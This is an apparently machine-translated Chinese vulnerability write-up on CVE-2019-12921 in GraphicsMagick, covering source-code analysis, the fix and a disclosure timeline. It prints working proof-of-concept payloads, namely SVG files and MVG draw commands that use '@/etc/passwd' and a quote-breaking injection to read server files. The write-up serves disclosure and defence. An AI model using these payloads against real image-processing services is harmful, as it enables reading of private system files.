悲剧并不孤单


2016年,ImageMagick中的ImageTragick漏洞引起了很大轰动 。 作为降低风险的一种方法,建议使用GraphicsMagick库的派生类GraphicsMagick ,其目的是使API更加稳定和高效。 stewie发现的原始漏洞CVE-2016-3717使攻击者可以使用特制映像读取文件系统上的任意文件。 今天,我将看看我在分析库源代码时发现的GraphicsMagick中的类似漏洞。


通过ImageTragick站点的伪协议 “标签”进行的原始利用不起作用。


push graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@/etc/passwd' pop graphic-context 


原因是render.c ReadImage文件的ImagePrimitive图像处理算法无法将标签字符串:@ / etc / passwd作为图像处理,并将返回“无法打开文件”错误。 功能码:


 #define VALID_PREFIX(str,url) (LocaleNCompare(str,url,sizeof(str)-1) == 0) if (!VALID_PREFIX("http://", primitive_info->text) && !VALID_PREFIX("https://", primitive_info->text) && !VALID_PREFIX("ftp://", primitive_info->text) && !(IsAccessibleNoLogging(primitive_info->text)) ) { ThrowException(&image->exception,FileOpenError,UnableToOpenFile,primitive_info->text); status=MagickFail; } 

但是,仍然可以读取文件系统上的任何映像,但是只能用于收集内部信息。 例如,可以在BugBounty程序的报告中找到此“功能”的操作示例。
这使我详细研究了GraphicsMagick中Label编解码器的实现。 为此,我们执行转换:


 $ gm convert label:@etc/passwd output.png 

该库返回/ etc / passwd文件的第一行,这意味着伪协议仍然容易受到攻击,但是在大多数情况下,它不适合攻击者使用,因为不可能影响命令行。 为了了解如何利用此“功能”,让我们看一下原因。 标签伪协议使用TranslateTextEx函数转换字符串:


 text=(char *) formatted_text; /* If text starts with '@' then try to replace it with the content of the file name which follows. */ if ((*text == '@') && IsAccessible(text+1)) { text=(char *) FileToBlob(text+1,&length,&image->exception); if (text == (char *) NULL) return((char *) NULL); } 

该函数接受输入参数formatted_text,如果该行以特殊字符'@'开头,则GM将另一行视为文件的完整路径,必须从该文件中读取要转换的内容。 让我们看看使用此功能的其他地方,攻击者可以利用此功能。


  1. /coders/msl.c会多次出现,但是GM使用此语言作为conjure命令的脚本语言,因此本文不会考虑,可以进行操作,但需要特定的应用程序逻辑
  2. /magick/attribute.c处理图片属性。 当注释和标签属性由用户直接传递而不是存储在图像本身中时,将为注释和标签属性调用TranslateText函数。 开发人员给我们一个小提示:


      Translate format requests in attribute text when the blob is not open. This is really gross since it is assumed that the attribute is supplied by the user and the user intends for translation to occur. However, 'comment' and 'label' attributes may also come from an image file and may contain arbitrary text. As a crude-workaround, translations are only performed when the blob is not open. 

    但是,如果在关闭tog as,blob之后执行图像的SetImageAttribute函数的处理,将会发生什么。 事实证明,有这样一种编解码器-SVG。 对ReadSVGImage函数的调用链如下:


    • XML解析器关闭
    • CloseBlob(图像)关闭Blob
    • MVG代表执行转换
    • SetImageAttribute(图像,“ comment”,svg_info.comment)的注释和标题属性将被写入图像。


为了成功利用,攻击者需要最终格式来支持这些属性,例如GIF,JPEG。


 <?xml version="1.0" standalone="no"?> <!--@/etc/passwd--> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="137px" height="137px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="http://www.google.com/images/branding/googlelogo/2x/googlelogo_color_272x92dp.png" x="0" y="0" height="100px" width="100px"/> </svg> 

 $ gm convert exploit.svg output.gif $ gm convert exploit.svg output.jpeg 


  1. /magick/annotate.c以下是利用AnnotateImage函数的好选择,该函数被使用:
    • /coders/txt.c类似于Lablel伪协议TXT协议:它没有特别的意义,因为它的操作需要访问命令行。
    • /magick/render.c这是文本Magick Vector Graphics原语的最终利用方法,该原语具有相当简单的语法:

 text "text" 

如果该行以特殊字符“ @”开头,则可能成功操作。


 $ gm convert -size 800x900 xc:white -draw 'text 20,30 "@/etc/hosts"' foo.png 

这种方法在实际应用程序中很少见,但是有一种使用委托来利用此漏洞的方法。 委托是一个外部图像处理器,其库不支持其格式。 有许多编解码器已转换为临时文件,并且MVG伪协议执行了进一步的处理。 如前所述,此编解码器是SVG。


行动CVE-2019-12921


XML Parser SVG图像将标记转换为中间文件:


 FormatString(clone_info->filename,”mvg:%.1024s",filename); 

img标记转换具有以下代码:


  case 'i': { if (LocaleCompare((char *) name,"image") == 0) { MVGPrintf(svg_info->file,"image Copy %g,%g %g,%g '%s'\n", svg_info->bounds.x,svg_info->bounds.y,svg_info->bounds.width, svg_info->bounds.height,svg_info->url); MVGPrintf(svg_info->file,"pop graphic-context\n"); break; } break; } 

为了进行利用,我们需要用通常的引号将字符串的上下文破坏并添加我们的利用:


 <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="720px" height="720px" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink= "http://www.w3.org/1999/xlink"> <image xlink:href="/etc/favicon.png' text 0,0 '@/etc/passwd" x="0" y="0" height="720px" width="720px"/> </svg> 

 $ gm convert exploit.svg output.png 

最终影像


使用MVG委托对其他编解码器的操作将由读者自行决定。


防护等级


GM的更新版本可在制造商的网站上找到。 该修复程序此刻删除了带有特殊@符号的文件支持,Mercurial变更集16037:f780c290b4ab和16038:44e3d0e872eb用于TranslateTextEx函数。 根据开发人员的说法,将来,此逻辑将在更安全的实现中返回。 解决方法是,建议使用环境变量MAGICK_CODER_STABILITY = PRIMARY


时间表


有关该漏洞的信息已于2019年6月6日转移到开发人员,当天晚些时候发布了一个修补程序。 2019年6月15日,在www.openwall.com上发布了一封参考信。 在2019年6月20日,CVE-2019-12921被分配给此问题。

Source: https://habr.com/ru/post/zh-CN458926/


All Articles